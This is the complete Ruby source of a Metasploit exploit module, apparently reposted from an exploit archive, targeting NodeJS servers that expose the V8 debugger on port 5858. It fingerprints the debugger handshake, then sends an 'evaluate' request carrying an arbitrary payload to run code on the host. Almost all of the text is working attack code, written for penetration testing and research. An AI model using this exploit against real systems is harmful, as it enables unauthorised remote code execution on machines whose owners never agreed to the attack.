NodeJS Debugger – Command Injection (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n" def initialize(info={}) super(update_info(info, 'Name' => "NodeJS Debugger Command Injection", 'Description' => %q{ This module uses the "evaluate" request type of the NodeJS V8 debugger protocol (version 1) to evaluate arbitrary JS and call out to other system commands. The port (default 5858) is not exposed non-locally in default configurations, but may be exposed either intentionally or via misconfiguration. }, 'License' => MSF_LICENSE, 'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ], 'References' => [ [ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ], [ 'URL', 'https://github.com/nodejs/node/pull/8106' ] ], 'Targets' => [ ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ], ], 'Privileged' => false, 'DisclosureDate' => "Aug 15 2016", 'DefaultTarget' => 0) ) register_options( [ Opt::RPORT(5858) ]) end def make_eval_message msg_body = { seq: 1, type: 'request', command: 'evaluate', arguments: { expression: payload.encoded, global: true, maxStringLength:-1 } }.to_json msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length} msg_header + msg_body end def check connect res = sock.get_once disconnect if res.include? "V8-Version" and res.include? "Protocol-Version: 1" vprint_status("Got debugger handshake:\n#{res}") return Exploit::CheckCode::Appears end Exploit::CheckCode::Unknown end def exploit connect # must consume incoming handshake before sending payload buf = sock.get_once msg = make_eval_message print_status("Sending #{msg.length} byte payload...") vprint_status("#{msg}") sock.put(msg) buf = sock.get_once if buf.include? '"command":"evaluate","success":true' print_status("Got success response") elsif buf.include? '"command":"evaluate","success":false' print_error("Got failure response: #{buf}") else print_error("Got unexpected response: #{buf}") end end end |